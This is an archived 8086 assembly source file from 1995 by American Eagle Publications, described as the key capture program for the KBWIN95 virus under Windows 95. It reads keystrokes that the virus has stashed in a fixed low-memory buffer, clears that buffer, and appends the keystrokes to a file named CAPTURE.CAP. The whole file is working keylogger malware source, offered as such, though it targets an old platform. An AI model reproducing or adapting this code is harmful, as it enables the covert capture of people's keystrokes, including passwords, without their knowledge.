home *** CD-ROM | disk | FTP | other *** search
- ;Key capture program for use with the KBWIN95 virus under Windows 95.
- ;(C) 1995 American Eagle Publications, Inc. All Rights Reserved.
-
- ;Buffer size and location definitions for use with KBWIN95 and the CAPTURE
- ;program.
- BUF_LOC EQU 600H ;This works with Windows-95 Final Beta
- BUF_SIZE EQU 64 ;Size of buffer in words
-
-
- .model tiny
- .code
-
- ORG 100H
-
- START:
- call OPEN_FILE ;open command line file
- jc EXIT1 ;exit on error
- GET_LOOP:
- call GET_BUFFER ;get keystrokes from other instance of DOS
- call FLUSH_FILE ;else flush file to disk
- call CLOSE_FILE ;close it
-
- mov dx,10 ;now a short time delay
- DLP: mov cx,0FFFFH ;to keep the batch file from executing
- loop $ ;this a thousand times a second
- dec dx ;adjust dx to adjust delay time
- jnz DLP ;for faster or slower machines
-
- mov ah,1 ;now see if a key was pressed
- int 16H
- jz EXIT1 ;no, set error level = 1
- mov ax,4C00H ;yes, set error level = 0
- jmp SHORT EXIT2
- EXIT1: mov ax,4C01H
- EXIT2: int 21H ;exit to DOS
-
-
- ;This routine creates the file named on the command line and returns with
- ;c set if failure, nc if successful, and bx=handle.
- OPEN_FILE:
- mov ax,3D02H ;create file r/w
- mov cx,0
- mov dx,OFFSET CAPFILE
- int 21H
- mov bx,ax ;handle to bx
- jc OFR
- mov ax,4202H ;seek to end of file
- xor cx,cx
- xor dx,dx
- int 21H
- OFR: ret ;retur with c set if failure, else nc
-
- CAPFILE DB 'CAPTURE.CAP',0
-
- ;This function closes the file whose handle is in bx.
- CLOSE_FILE:
- mov ah,3EH
- int 21H
- ret
-
- ;This routine writes any keystrokes in the KEY_BUFFER to disk, and cleans
- ;up the KEY_BUFFER.
- FLUSH_FILE:
- mov cx,WORD PTR ds:[TB_TAIL] ;get keys in buffer
- sub cx,WORD PTR ds:[TB_HEAD]
- or cx,cx ;anything there
- jz EFF ;nope, just exit
- mov dx,OFFSET TMP_BUF ;location to write from
- add dx,WORD PTR ds:[TB_HEAD]
- mov ah,40H ;write file
- int 21H
- EFF: ret
-
-
- ;This routine gets the keyboard buffer from the other instance of DOS,
- ;and stores it internally at TMP_BUF. Then it zeros the existing buffer.
- GET_BUFFER:
- xor ax,ax
- mov ds,ax
- mov si,BUF_LOC ;get buffer
- mov di,OFFSET TB_HEAD
- mov cx,BUF_SIZE+3
- rep movsw
-
- push cs
- pop ds
- xor ax,ax
- mov es,ax
- mov di,BUF_LOC
- mov cx,BUF_SIZE+3
- rep stosw
-
- push cs
- pop es
- ret
-
- ;Temporary copy of keyboard buffer
- TB_HEAD DW 0
- TB_TAIL DW 0
- TMP_BUF DW BUF_SIZE dup (0)
- TB_CS DW 0
-
- END START
-